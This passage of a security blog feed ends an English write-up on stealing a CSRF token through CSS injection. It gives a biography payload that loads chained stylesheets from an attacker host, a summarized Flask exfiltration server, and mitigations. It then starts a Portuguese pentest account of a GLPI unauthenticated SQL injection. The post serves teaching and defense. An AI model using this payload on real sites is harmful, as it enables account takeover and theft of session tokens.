&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Besides the number of requests, the victim would also need to visit our profile at least 5 times, because we would need to manually edit our biography after each character is discovered, and that is assuming we guess each next character on the first try. Pretty unrealistic.&lt;&#x2F;p&gt;
&lt;p&gt;Fortunately, it is possible to work around this problem with style! (CSS). Instead of editing the biography 5 times, we are going to inject &lt;b&gt;5 &lt;code&gt;&amp;lt;link&amp;gt;&lt;&#x2F;code&gt; elements at once&lt;&#x2F;b&gt;, each link responsible for guessing one character:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;html&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; id&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;s0&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; style&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;width:1px;height:1px&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #88846F;&quot;&gt;&amp;lt;!-- … s1, s2, s3, s4 --&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;link&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; rel&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;stylesheet&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;https:&#x2F;&#x2F;inferi.club&#x2F;css&#x2F;0&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #88846F;&quot;&gt;&amp;lt;!-- … css&#x2F;1, css&#x2F;2, css&#x2F;3, css&#x2F;4 --&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Considering an environment where the target user uses the Chrome browser, this will work perfectly, because of the way Chrome handles &lt;code&gt;&amp;lt;link&amp;gt;&lt;&#x2F;code&gt; elements. The second &lt;code&gt;&amp;lt;link&amp;gt;&lt;&#x2F;code&gt;, for example, will only kick in when the rule from the first &lt;code&gt;&amp;lt;link&amp;gt;&lt;&#x2F;code&gt; is applied to the DOM. Our attack will work as follows:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&#x2F;css&#x2F;0&lt;&#x2F;code&gt;: Responds immediately with the 36 CSS selectors for position 0&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;css&#x2F;1&lt;&#x2F;code&gt;: Waits until &#x2F;css&#x2F;0 arrives&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;css&#x2F;2&lt;&#x2F;code&gt;: Waits until &#x2F;css&#x2F;1 arrives&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;css&#x2F;3&lt;&#x2F;code&gt;: …&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;For the attacker side, we are going to use a Flask server with three routes, each one with its respective functionality:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&#x2F;css&#x2F;&amp;lt;pos&amp;gt;&lt;&#x2F;code&gt;: Delivers the CSS for position N (and blocks until there is a match)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;hit&lt;&#x2F;code&gt;: Receives the character that was discovered and unblocks the next route&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;reset&lt;&#x2F;code&gt;: Resets the result&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;The &lt;code&gt;threading.Event()&lt;&#x2F;code&gt; function is a synchronization method for communication between multiple threads. It works like a semaphore that indicates whether a given action can proceed or not through boolean conditions. In summary, our Flask server will have the following structure:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #88846F;&quot;&gt;# Summarized code&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;TOKEN_LENGTH&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 5&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;CHARSET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;      =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;abcdefghijklmnopqrstuvwxyz0123456789&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;TIMEOUT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;      =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 60&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;_lock&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;        =&lt;&#x2F;span&gt;&lt;span&gt; threading.Lock()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;_token_chars&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; {}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;_token_done&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;  =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; False&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;_events&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;      =&lt;&#x2F;span&gt;&lt;span&gt; [threading.Event()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; _&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;TOKEN_LENGTH&lt;&#x2F;span&gt;&lt;span&gt;)]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #88846F;&quot;&gt; # Can be read as: _events = [Event() × 5]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #88846F;&quot;&gt;# Route to indicate the CHAR position&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;@app.route&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;&#x2F;css&#x2F;&amp;lt;int:pos&amp;gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #88846F;&quot;&gt;# Signals success based on C (char) and P (pos) and returns a 1px PNG for the background-image&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;@app.route&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;&#x2F;hit&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The server does not know the token in advance, it discovers it progressively while the target user is still on the page. Each event starts closed, and the &lt;code&gt;&#x2F;css&#x2F;0&lt;&#x2F;code&gt; route stays blocked on &lt;code&gt;_events[0].wait()&lt;&#x2F;code&gt; until the &lt;code&gt;&#x2F;hit&lt;&#x2F;code&gt; route receives the matching character and calls &lt;code&gt;_events[0].set()&lt;&#x2F;code&gt;, releasing the next step. When the last character reaches the server, the token is complete and, from the target user&#x27;s point of view, nothing happened on the page.&lt;&#x2F;p&gt;
&lt;p&gt;To actually exploit the vulnerability now, we will go back to our biography and use the following payload:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;html&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; id&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;s0&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; style&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;width:1px;height:1px&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; id&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;s1&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; style&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;width:1px;height:1px&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; id&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;s2&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; style&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;width:1px;height:1px&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; id&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;s3&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; style&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;width:1px;height:1px&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; id&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;s4&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; style&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;width:1px;height:1px&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;link&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; rel&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;stylesheet&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;https:&#x2F;&#x2F;inferi.club&#x2F;css&#x2F;0&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;link&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; rel&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;stylesheet&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;https:&#x2F;&#x2F;inferi.club&#x2F;css&#x2F;1&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;link&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; rel&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;stylesheet&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;https:&#x2F;&#x2F;inferi.club&#x2F;css&#x2F;2&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;link&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; rel&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;stylesheet&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;https:&#x2F;&#x2F;inferi.club&#x2F;css&#x2F;3&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;link&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; rel&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;stylesheet&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;https:&#x2F;&#x2F;inferi.club&#x2F;css&#x2F;4&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;proof-of-concept&quot;&gt;Proof of Concept&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;video src=&quot;&#x2F;assets&#x2F;data-exfiltration-with-style-css&#x2F;poc.mp4&quot; controls muted loop&gt;&lt;&#x2F;video&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The video above demonstrates the process of the attacker (Firefox) inserting the payload into their biography and starting the malicious server. Then, the admin user (Google Chrome) accesses the attacker&#x27;s profile and, without any visible change on the page, has their CSRF token extracted and sent to the attacker&#x27;s server.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;mitigations-practical-example&quot;&gt;Mitigations - Practical Example&lt;&#x2F;h2&gt;
&lt;p&gt;To fix the vulnerabilities presented, it is necessary to restrict the &lt;code&gt;style-src&lt;&#x2F;code&gt; policy to &lt;code&gt;style-src &#x27;self&#x27;&lt;&#x2F;code&gt;, blocking the injection of external CSS, and the &lt;code&gt;img-src&lt;&#x2F;code&gt; policy to &lt;code&gt;img-src &#x27;self&#x27;&lt;&#x2F;code&gt;, blocking exfiltration via image requests. Beyond that, it is important to create a whitelist of allowed HTML elements (&lt;code&gt;h1, p, b, i...&lt;&#x2F;code&gt;), to require the old password in the password change flow, and to adopt a CSRF token with adequate entropy, such as 32 characters.&lt;&#x2F;p&gt;
&lt;p&gt;There are other CSS exfiltration vectors, such as &lt;code&gt;@font-face&lt;&#x2F;code&gt;, &lt;code&gt;cursor: url()&lt;&#x2F;code&gt;, and &lt;code&gt;list-style-image&lt;&#x2F;code&gt;, but all of them depend on an insecure CSP policy in order to be exploited effectively. A well-configured CSP is, therefore, the main barrier against this class of attacks.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Learn_web_development&#x2F;Core&#x2F;Styling_basics&#x2F;What_is_CSS&lt;&#x2F;li&gt;
&lt;li&gt;https:&#x2F;&#x2F;pt.stackoverflow.com&#x2F;questions&#x2F;40852&#x2F;o-que-%C3%A9-dom-render-tree-e-node&lt;&#x2F;li&gt;
&lt;li&gt;https:&#x2F;&#x2F;drafts.csswg.org&#x2F;cssom&#x2F;&lt;&#x2F;li&gt;
&lt;li&gt;https:&#x2F;&#x2F;blog.logrocket.com&#x2F;how-css-works-parsing-painting-css-in-the-critical-rendering-path-b3ee290762d3&#x2F;&lt;&#x2F;li&gt;
&lt;li&gt;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;Security&#x2F;Defenses&#x2F;Same-origin_policy&lt;&#x2F;li&gt;
&lt;li&gt;https:&#x2F;&#x2F;content-security-policy.com&#x2F;&lt;&#x2F;li&gt;
&lt;li&gt;https:&#x2F;&#x2F;portswigger.net&#x2F;web-security&#x2F;csrf&lt;&#x2F;li&gt;
&lt;li&gt;https:&#x2F;&#x2F;xsleaks.dev&#x2F;&lt;&#x2F;li&gt;
&lt;li&gt;https:&#x2F;&#x2F;xsleaks.dev&#x2F;docs&#x2F;defenses&#x2F;&lt;&#x2F;li&gt;
&lt;li&gt;https:&#x2F;&#x2F;xsleaks.dev&#x2F;docs&#x2F;attacks&#x2F;css-tricks&#x2F;&lt;&#x2F;li&gt;
&lt;li&gt;https:&#x2F;&#x2F;aszx87410.github.io&#x2F;beyond-xss&#x2F;en&#x2F;ch3&#x2F;css-injection&#x2F;&lt;&#x2F;li&gt;
&lt;li&gt;https:&#x2F;&#x2F;troopers.de&#x2F;media&#x2F;filer_public&#x2F;47&#x2F;19&#x2F;4719cfce-8be9-4739-a7b4-42f9761a9fd6&#x2F;tr12_day02_heiderich_got_ur_nose.pdf&lt;&#x2F;li&gt;
&lt;li&gt;https:&#x2F;&#x2F;speakerdeck.com&#x2F;masatokinugawa&#x2F;shadow-dom-and-security-exploring-the-boundary-between-light-and-shadow&lt;&#x2F;li&gt;
&lt;li&gt;https:&#x2F;&#x2F;docs.python.org&#x2F;3&#x2F;library&#x2F;threading.html&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>(PT-BR) Pentest #1</title>
        <published>2026-03-23T00:00:00+00:00</published>
        <updated>2026-03-23T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              dsm
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://dsm.golf/blog/pentest-1/"/>
        <id>https://dsm.golf/blog/pentest-1/</id>
        
        <content type="html" xml:base="https://dsm.golf/blog/pentest-1/">&lt;h2 id=&quot;inicio&quot;&gt;Início&lt;&#x2F;h2&gt;
&lt;p&gt;Durante um pentest em um grande cliente, no processo de enumeração sobre as aplicações web disponíveis, pude encontrar uma instância do GLPI pública através de uma string estática que estava armazenada em um arquivo JavaScript de uma outra aplicação Next.js. O que é mais interessante deste GLPI é que ele não pôde ser encontrado por nenhuma ferramenta de enumeração de subdomínios ou afins, então foi um grande achado.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;pentest-1&#x2F;glpi-instance.png&quot; alt=&quot;Instância do GLPI encontrada&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;glpi-project&#x2F;glpi&quot;&gt;GLPI&lt;&#x2F;a&gt; ou &lt;em&gt;Gestionnaire Libre de Parc Informatique&lt;&#x2F;em&gt; é um software de código-aberto para gerenciamento de ativos de tecnologia e também de criação e resolução de tickets, comumente conhecido como help desk. É um projeto extremamente grande e bastante utilizado, contando com mais de 5 mil estrelas em seu projeto no GitHub.&lt;&#x2F;p&gt;
&lt;p&gt;Percebi que era uma instância do GLPI minimamente modificada, com algumas mudanças aplicadas pelo time de desenvolvimento e tecnologia desse cliente em questão. Um ponto principal que me chamou a atenção é que a aplicação estava integrada com o sistema de SSO, o que é algo bem relevante levando em consideração a possibilidade de obter dados sensíveis ligados a organização. Não tinha certeza sobre qual era a versão desse GLPI, então optei por assumir que era uma das mais recentes, ou a mais recente. No momento da escrita deste artigo, a última versão é a &lt;strong&gt;10.0.18&lt;&#x2F;strong&gt; que foi lançada em 12 de fevereiro de 2025.&lt;&#x2F;p&gt;
&lt;p&gt;Então, fui até a aba de &lt;em&gt;Releases&lt;&#x2F;em&gt; do projeto do GLPI no GitHub e olhei a changelog entre as últimas versões lançadas e duas vulnerabilidades específicas chamaram minha atenção, uma vulnerabilidade de SQL Injection desautenticado e outra de Remote Code Execution só que autenticada. Inicialmente a vulnerabilidade de SQL Injection era a mais promissora, justamente por não haver necessidade de ter alguma credencial do ambiente.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;pentest-1&#x2F;glpi-10018-release.png&quot; alt=&quot;Release notes do GLPI 10.0.18&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Analisando &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;blog.lexfo.fr&#x2F;glpi-sql-to-rce.html&quot;&gt;o artigo publicado pela Lexfo&lt;&#x2F;a&gt;, podemos entender qual é a causa da vulnerabilidade de SQL Injection. Dentro da função &lt;strong&gt;handleAgent&lt;&#x2F;strong&gt; do arquivo &lt;strong&gt;src&#x2F;Agent.php&lt;&#x2F;strong&gt; podemos notar uma diferença entre as versões.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;10.0.17&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;pentest-1&#x2F;changes-17.png&quot; alt=&quot;Código da versão 10.0.17&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;10.0.18&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;pentest-1&#x2F;changes-18.png&quot; alt=&quot;Código da versão 10.0.18&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Podemos ver nas imagens acima que a função &lt;code&gt;Sanitizer::dbEscapeRecursive&lt;&#x2F;code&gt; foi removida do trecho ligado ao parâmetro &lt;strong&gt;deviceid&lt;&#x2F;strong&gt; na versão 10.0.18. O problema é que a função &lt;code&gt;Sanitizer::dbEscapeRecursive&lt;&#x2F;code&gt; suporta requisições com um conteúdo XML, mas possui uma falha fundamental em sua implementação. A função percorre arrays recursivamente e escapa strings conforme esperado. Porém, quando encontra um valor que não é nem array nem string, ela simplesmente retorna esse valor sem qualquer tratamento, fazendo com que outros objetos não sejam sanitizados.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;pentest-1&#x2F;xml-support.png&quot; alt=&quot;Suporte a XML no GLPI&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Vale ressaltar que o endpoint &lt;code&gt;handleAgent&lt;&#x2F;code&gt; não requer credenciais para ser acessado. Isso eleva significativamente a severidade da vulnerabilidade, transformando-a em um vetor de comprometimento completo do sistema.&lt;&#x2F;p&gt;
&lt;p&gt;Com isso em mente, já podemos entender o que será necessário:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Enviar uma requisição do tipo POST ao GLPI que faça uso do &lt;strong&gt;handleXMLRequest&lt;&#x2F;strong&gt;;&lt;&#x2F;li&gt;
